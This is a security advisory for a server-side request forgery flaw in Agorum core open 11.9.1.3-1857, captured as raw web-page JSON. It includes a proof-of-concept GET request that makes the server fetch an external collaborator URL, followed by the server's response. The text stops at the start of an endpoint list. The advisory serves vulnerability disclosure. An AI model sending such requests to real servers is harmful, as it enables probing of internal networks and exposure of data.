{"id":24249,"date":"2025-06-27T16:08:11","date_gmt":"2025-06-27T14:08:11","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2025-0025\/"},"modified":"2025-07-01T10:24:58","modified_gmt":"2025-07-01T08:24:58","slug":"usd-2025-0025","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2025-0025\/","title":{"rendered":"usd-2025-0025"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.4\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n

usd-2025-0025 | Agorum core open 11.9.1.3-1857 - Server-Side Request Forgery (SSRF)<\/h1>\n

<\/h1>\n

Product<\/strong>: Agorum core open
Affected Version<\/strong>: 11.9.1.3-1857
Vulnerability Type<\/strong>: Server-Side Request Forgery (SSRF) (CWE-918)
Security Risk<\/strong>: High
Vendor<\/strong>: Agorum
Vendor URL<\/strong>: https:\/\/www.agorum.com\/<\/a>
Vendor acknowledged vulnerability<\/strong>: Yes
Vendor Status<\/strong>: Fixed
CVE Number<\/strong>: Requested
CVE Link<\/strong>: Requested
Advisory ID<\/strong>: usd-2025-0025<\/p>\n

Description<\/h3>\n

agorum core is an open-source Enterprise Content Management (ECM) system developed by agorum Software GmbH in Germany. It offers a modular, highly customizable platform for document management, workflow automation, and digital collaboration.<\/p>\n

Proof of Concept<\/h3>\n

Several endpoints in the application are vulnerable to Server-Side Request Forgery (SSRF). This allows attackers to craft requests that cause the server to initiate connections to arbitrary internal or external resources, potentially exposing sensitive information or enabling further attacks.<\/p>\n

The following request demonstrates the SSRF vulnerability. When submitted, the server makes a request to the specified URL:<\/p>\n

\n
<\/span>GET<\/span> \/roiwebui\/desk4web_module\/gadgets\/rssreader\/RSSReader.jsp?reloadTime=600000);}&feed=[http:\/\/etbjk99mmtvsce0wjfkmjof3zu5ntdh2.burp.usd.de\/ssrf]()<\/span> HTTP<\/span>\/<\/span>1.1
<\/span>Host<\/span>:<\/span> localhost
<\/span>[...]<\/span><\/pre>\n<\/div>\n
In the response, it is evident that the server has fetched content from the target resource, confirming the SSRF behavior:<\/p>\n
\n
<\/span>HTTP<\/span>\/<\/span>1.1<\/span> 200<\/span> OK
<\/span>X-Powered-By<\/span>:<\/span> agorum core
<\/span>Content-Type<\/span>:<\/span> text\/html;charset=ISO-8859-1
<\/span>Content-Length<\/span>:<\/span> 1422
<\/span>Date<\/span>:<\/span> Fri, 02 May 2025 07:48:55 GMT
<\/span>Server<\/span>:<\/span> Apache-Coyote\/1.1
<\/span>[...]
<\/span>    <<\/span>body<\/span> onload<\/span>=<\/span>\"initReload()\"<\/span>>
<\/span>        <<\/span>div<\/span> class<\/span>=<\/span>\"tableblock\"<\/span>>
<\/span>        <<\/span>table<\/span>>
<\/span>            <!-- <html><body>xjiz55z1r9egabbtzruo7czjlgigz<\/body><\/html>-->
<\/span>            <<\/span>th<\/span>><\/span>null<\/<\/span>th<\/span>>
<\/span>        <\/<\/span>table<\/span>>
<\/span>        <\/<\/span>div<\/span>>
<\/span>    <\/<\/span>body<\/span>>
<\/span>[...]<\/pre>\n<\/div>\n
To further demonstrate the server's outbound request capabilities, a payload was sent to a Burp Collaborator URL. The interaction received confirms the SSRF vulnerability and shows that the server can establish external network connections:<\/p>\n
\"\"<\/p>\n
The vulnerability is present in multiple locations. The following is a non-exhaustive list of affected endpoints:<\/p>\n